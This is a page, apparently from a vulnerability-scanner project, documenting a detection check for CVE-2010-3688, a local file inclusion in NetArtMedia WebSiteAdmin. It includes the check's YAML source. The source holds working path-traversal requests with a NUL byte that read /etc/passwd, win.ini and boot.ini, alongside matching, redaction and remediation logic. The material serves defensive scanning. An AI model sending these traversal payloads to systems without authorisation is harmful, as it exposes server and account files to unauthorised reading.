NetArtMedia WebSiteAdmin — 1 vulnerability check

noctis ships 1 vulnerability check for NetArtMedia WebSiteAdmin, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

NetArtMedia WebSiteAdmin ADMIN/login.php Local File Inclusion

CVECVE-2010-3688
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match, script · highest QoD 75
Feedtests/vulnerabilities/netartmedia-websiteadmin/CVE-2010-3688.yaml

Tests NetArtMEDIA WebSiteAdmin for the unauthenticated local file inclusion in ADMIN/login.php, which includes a language file named after the lng parameter without checking it. In each WebSiteAdmin folder (/websiteadmin, /WebSiteAdmin, the web root) whose index.php or ADMIN/login.php carries the NetArt and WebSiteAdmin markers, the feed requests ADMIN/login.php with lng set to a ../ sequence ending in etc/passwd and a NUL byte (%00) that cuts off the .php suffix, then windows/win.ini and boot.ini; the content of the file in the reply confirms the inclusion. A control request for an absent random file through the same parameter must not return any of these files, so a server that serves the same content on every request is not reported. When no file comes back (PHP 5.3.4 and later no longer cut paths at a NUL byte), the feed sends lng=../../ followed by a random name and reports the flaw when the PHP include warning in the reply quotes that name with the ../ sequence still in front of it, which shows the parameter reaches the include unfiltered (this needs PHP errors to be displayed). Only world-readable system files are read. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.

How noctis detects it

  1. HTTP(S) request GET {{dir}}/index.php
  2. Checks index_r.body for (?s)(?:>NetArt.*>WebSiteAdmin<|>WebSiteAdmin<.*>NetArt)
  3. HTTP(S) request GET {{dir}}/ADMIN/login.php
  4. Checks login_r.body for (?s)(?:>NetArt.*>WebSiteAdmin<|>WebSiteAdmin<.*>NetArt)
  5. HTTP(S) request GET {{dir}}/ADMIN/login.php?lng=../../../../../../../../../../etc/passwd%00
  6. Checks passwd_r.body for (?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^…
  7. Parses / computes the next value with a Rhai script
  8. HTTP(S) request GET {{dir}}/ADMIN/login.php?lng=../../../../../../../../../../windows/win.ini%00
  9. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  10. HTTP(S) request GET {{dir}}/ADMIN/login.php?lng=../../../../../../../../../../boot.ini%00
  11. Checks bootini_r.body for (?i)\[boot loader\]
  12. Parses / computes the next value with a Rhai script
  13. HTTP(S) request GET {{dir}}/ADMIN/login.php?lng={{ctrl_path}}%00
  14. Checks ctrl_r.body for (?mi)((?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app support…
  15. … and 5 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/netartmedia-websiteadmin/CVE-2010-3688.yaml
# NetArtMedia WebSiteAdmin ADMIN/login.php "lng" local file inclusion — CVE-2010-3688
#
# NetArtMEDIA WebSiteAdmin (commercial PHP CMS, 2.1 reported; no fixed release
# is known) builds the path of the language file to include from the "lng"
# parameter of ADMIN/login.php without any check and before any login
# (advisory: pridels-team, 2010-09-09 — the vendor source is not public, so the
# exact prefix/suffix around "lng" is unknown; a ".php" suffix is assumed, as
# the source NASL's own error check implies).
#
# Detection (benign, read-only), per WebSiteAdmin folder (/websiteadmin,
# /WebSiteAdmin, web root) whose index.php carries the ">NetArt" and
# ">WebSiteAdmin<" markers (or, as a fallback, whose ADMIN/login.php does):
#   1. GET ADMIN/login.php?lng=<10×../>etc/passwd%00 and match the CONTENT of
#      /etc/passwd; then windows/win.ini, then boot.ini (QoD 75). The NUL byte
#      cuts the ".php" suffix on PHP < 5.3.4 with magic_quotes_gpc off; ten
#      "../" reach the root whatever prefix sits before "lng" (PHP collapses
#      ".." lexically, so a missing prefix directory does not matter).
#   2. When no file came back: GET ADMIN/login.php?lng=../../noctis-<random>
#      and require a PHP include warning that quotes the path WITH our "../"
#      directly before the random name ("Failed opening '…../noctis-<random>
#      ….php' for inclusion", or the "failed to open stream" line) — the parameter
#      reaches include() with the traversal intact (QoD 75). Works on any PHP
#      version, needs display_errors on.
#
# Improvements over the source NASL:
#   - The NASL sends lng=../../ and only looks for "failed to open stream:" and
#     "No such file or directory" anywhere in the page — any PHP page printing
#     an unrelated include warning matches, and a fix that strips "../" still
#     prints the same warning for a missing language. The feed reads a system
#     file first, and its warning fallback requires the include() path to
#     quote our own random name preceded by the "../" we sent.
#   - The NASL needs display_errors on; the file-read branch does not.
#   - File reads are followed by a control request (same parameter, a path in
#     an absent random directory that still ends with the file that hit) that
#     must come back WITHOUT any of these files and with the same HTTP status
#     (fail-closed), so blanket responders, honeypots and WAF blocks are not
#     reported. Account name (unless root), password field and gecos of the
#     uid-0 line are redacted before they reach the finding.
#   - Linux and Windows system files are tried without relying on OS detection.
#
# CVSS: CVE-2010-3688 v2 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P; NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_netartmedia_websiteadmin_dir_traversal_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.801518, GPL-2.0-only).
uid: dc45cb5f-927b-4c3d-b4bf-98bb636f73d8
name: "NetArtMedia WebSiteAdmin ADMIN/login.php Local File Inclusion (CVE-2010-3688)"
description: |
  Tests NetArtMEDIA WebSiteAdmin for the unauthenticated local file inclusion
  in ADMIN/login.php, which includes a language file named after the lng
  parameter without checking it. In each WebSiteAdmin folder (/websiteadmin,
  /WebSiteAdmin, the web root) whose index.php or ADMIN/login.php carries the
  NetArt and WebSiteAdmin markers, the feed requests ADMIN/login.php with lng
  set to a ../ sequence ending in etc/passwd and a NUL byte (%00) that cuts off
  the .php suffix, then windows/win.ini and boot.ini; the content of the file
  in the reply confirms the inclusion. A control request for an absent random
  file through the same parameter must not return any of these files, so a
  server that serves the same content on every request is not reported. When
  no file comes back (PHP 5.3.4 and later no longer cut paths at a NUL byte),
  the feed sends lng=../../ followed by a random name and reports the flaw when
  the PHP include warning in the reply quotes that name with the ../ sequence
  still in front of it, which shows the parameter reaches the include unfiltered
  (this needs PHP errors to be displayed). Only world-readable system files are
  read. The account name (unless root), password field and gecos of the uid-0
  line are redacted from the evidence.
cves: [CVE-2010-3688]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [netartmedia, websiteadmin, php, lfi, local-file-inclusion, path-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-3688"
  - "https://pridels-team.blogspot.com/2010/09/netartmedia-real-estate-portal-v20-xss.html"
  # OpenVAS/Greenbone NASL 2010/gb_netartmedia_websiteadmin_dir_traversal_vuln.nasl (GPL-2.0-only)

steps:
  # ── Loop group: every following step runs once per WebSiteAdmin folder.
  # Each pass resets the values it reads, so nothing is left over.
  - id: init-wsa
    action: set_var
    var_name: wsa
    var_value: false
    loop:
      var: dir
      over: ["/websiteadmin", "/WebSiteAdmin", ""]

  - id: init-index-r
    action: set_var
    var_name: index_r
    var_value: {status: 0, body: ""}

  - id: init-login-r
    action: set_var
    var_name: login_r
    var_value: {status: 0, body: ""}

  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}

  - id: init-lin-proof
    action: set_var
    var_name: lin_proof
    var_value: ""

  - id: init-win-file
    action: set_var
    var_name: win_file
    var_value: ""

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-bootini-r
    action: set_var
    var_name: bootini_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-path
    action: set_var
    var_name: ctrl_path
    var_value: ""

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  - id: init-warn-r
    action: set_var
    var_name: warn_r
    var_value: {status: 0, body: ""}

  - id: init-warn-proof
    action: set_var
    var_name: warn_proof
    var_value: ""

  # ── Product gate: the NetArt + WebSiteAdmin markers on index.php, or on the
  # admin login page itself ─────────────────────────────────────────────────
  - id: index
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 10
    store_as: index_r

  - id: index-markers
    action: match
    source: index_r.body
    pattern: "(?s)(?:>NetArt.*>WebSiteAdmin<|>WebSiteAdmin<.*>NetArt)"
    on_match:
      set_vars:
        wsa: true

  - id: login-page
    action: http_request
    method: GET
    path: "{{dir}}/ADMIN/login.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 10
    condition: "wsa == false"
    store_as: login_r

  - id: login-markers
    action: match
    source: login_r.body
    pattern: "(?s)(?:>NetArt.*>WebSiteAdmin<|>WebSiteAdmin<.*>NetArt)"
    condition: "wsa == false"
    on_match:
      set_vars:
        wsa: true

  # ── Linux: /etc/passwd ───────────────────────────────────────────────────
  - id: read-passwd
    action: http_request
    method: GET
    path: "{{dir}}/ADMIN/login.php?lng=../../../../../../../../../../etc/passwd%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "wsa"
    store_as: passwd_r

  # No on_match: the raw body must not become evidence.
  # name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
    condition: "wsa"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 2 {
        let name = passwd_m.captures[0];
        name.trim();
        if name == "root" {
          "root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
        } else {
          "<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
        }
      } else { "" }
    condition: "wsa"
    store_as: lin_proof

  # ── Windows: windows/win.ini, then boot.ini (older Windows) — only when the
  # page answered and the Linux read gave nothing ──────────────────────────
  - id: read-winini
    action: http_request
    method: GET
    path: "{{dir}}/ADMIN/login.php?lng=../../../../../../../../../../windows/win.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'wsa && lin_proof == "" && passwd_r.status != 0'
    store_as: winini_r

  - id: winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'wsa && lin_proof == "" && passwd_r.status != 0'
    on_match:
      set_vars:
        win_file: "windows/win.ini"

  - id: read-bootini
    action: http_request
    method: GET
    path: "{{dir}}/ADMIN/login.php?lng=../../../../../../../../../../boot.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'wsa && lin_proof == "" && win_file == "" && passwd_r.status != 0'
    store_as: bootini_r

  - id: bootini-content
    action: match
    source: bootini_r.body
    pattern: "(?i)\\[boot loader\\]"
    condition: 'wsa && lin_proof == "" && win_file == "" && passwd_r.status != 0'
    on_match:
      set_vars:
        win_file: "boot.ini"

  # ── Control: same parameter, absent random file — must NOT carry a file ──
  # The absent path sits in a random missing directory but still ENDS with
  # the file that hit and the NUL byte, so a honeypot that keys a fake file on
  # that name or path suffix answers it too.
  - id: control-path
    action: script
    code: |
      let f = if lin_proof != "" { "etc/passwd" } else { win_file };
      "../../../../../../../../../../noctis-absent-" + oob_token + "/" + f
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_path

  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/ADMIN/login.php?lng={{ctrl_path}}%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
    condition: 'lin_proof != "" || win_file != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── File-read findings (control answered and stayed clean) ───────────────
  - id: report-passwd
    action: match
    source: lin_proof
    pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
    condition: "ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
    on_match:
      finding:
        title: "NetArtMedia WebSiteAdmin ADMIN/login.php Local File Inclusion (CVE-2010-3688)"
        description: "An unauthenticated request to ADMIN/login.php with the lng parameter set to a ../ sequence ending in etc/passwd and a NUL byte returned the content of /etc/passwd, while the same request for an absent file did not. The same flaw includes any other file the web server user can read, such as the site configuration with its database password, and runs any PHP code found in an included file."
        remediation: "Make ADMIN/login.php accept only the names of the installed language files in the lng parameter (or contact NetArtMEDIA for a fixed release), run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte, and restrict access to the ADMIN folder."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/ADMIN/login.php?lng=../../../../../../../../../../etc/passwd%00 returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
      stop: true

  - id: report-windows
    action: match
    source: win_file
    pattern: "^(windows/win\\.ini|boot\\.ini)$"
    condition: "ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
    on_match:
      finding:
        title: "NetArtMedia WebSiteAdmin ADMIN/login.php Local File Inclusion (CVE-2010-3688)"
        description: "An unauthenticated request to ADMIN/login.php with the lng parameter set to a ../ sequence ending in a Windows system file and a NUL byte returned that file's content, while the same request for an absent file did not. The same flaw includes any other file the web server user can read, such as the site configuration with its database password, and runs any PHP code found in an included file."
        remediation: "Make ADMIN/login.php accept only the names of the installed language files in the lng parameter (or contact NetArtMEDIA for a fixed release), run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte, and restrict access to the ADMIN folder."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/ADMIN/login.php?lng=../../../../../../../../../../{{win_file}}%00 returned the content of {{win_file}}; control for an absent file returned no file content"
      stop: true

  # ── Fallback: include warning quoting our random name after the "../" ────
  # Only when no system file came back at all (PHP >= 5.3.4). A file that
  # came back but failed the control (blanket responder, honeypot) is not
  # retried here.
  - id: read-warning
    action: http_request
    method: GET
    path: "{{dir}}/ADMIN/login.php?lng=../../noctis-{{oob_token}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'wsa && lin_proof == "" && win_file == ""'
    store_as: warn_r

  - id: warning-path
    action: script
    code: |
      // PHP 4.3-8 print "Failed opening '<path>' for inclusion" for every
      // failed include (doc links, open_basedir and "(x86)" install paths
      // don't change it); the "failed to open stream" line (include( / main(
      // in PHP 4.3) is the second chance.
      let re1 = "(?i)Failed opening '([^'\\r\\n]*\\.\\./noctis-" + oob_token + "[^'\\r\\n]*)' for inclusion";
      let re2 = "(?i)\\b(?:include|require|main)(?:_once)?\\((.*?\\.\\./noctis-" + oob_token + "[^\\r\\n]*?)\\)(?:\\s*\\[<a\\b[^\\]\\r\\n]*\\])?\\s*:\\s*failed to open stream:\\s*No such file or directory";
      let m = eregmatch(re1, warn_r.body);
      if m.len() < 2 { m = eregmatch(re2, warn_r.body); }
      if m.len() > 1 { m[1] } else { "" }
    condition: 'wsa && lin_proof == "" && win_file == ""'
    store_as: warn_proof

  - id: report-warning
    action: match
    source: warn_proof
    pattern: "\\.\\./noctis-"
    condition: 'warn_proof != ""'
    on_match:
      finding:
        title: "NetArtMedia WebSiteAdmin ADMIN/login.php Local File Inclusion (CVE-2010-3688)"
        description: "An unauthenticated request to ADMIN/login.php with the lng parameter set to ../../ followed by a random name made PHP print an include warning for a path that holds that name with the ../ sequence still in front of it: the parameter reaches the include unfiltered, so ../ sequences select any file to include. No system file could be read back (the NUL byte that cuts off the .php suffix is ignored by PHP 5.3.4 and later), but any .php file on the server, such as an uploaded one, can still be included and run."
        remediation: "Make ADMIN/login.php accept only the names of the installed language files in the lng parameter (or contact NetArtMEDIA for a fixed release), restrict access to the ADMIN folder, and turn display_errors off in production."
        confidence_delta: 0.50
        qod: 75
        evidence: "{{dir}}/ADMIN/login.php?lng=../../noctis-{{oob_token}} made PHP warn that it failed to include {{warn_proof}}"
      stop: true

View these feeds on GitHub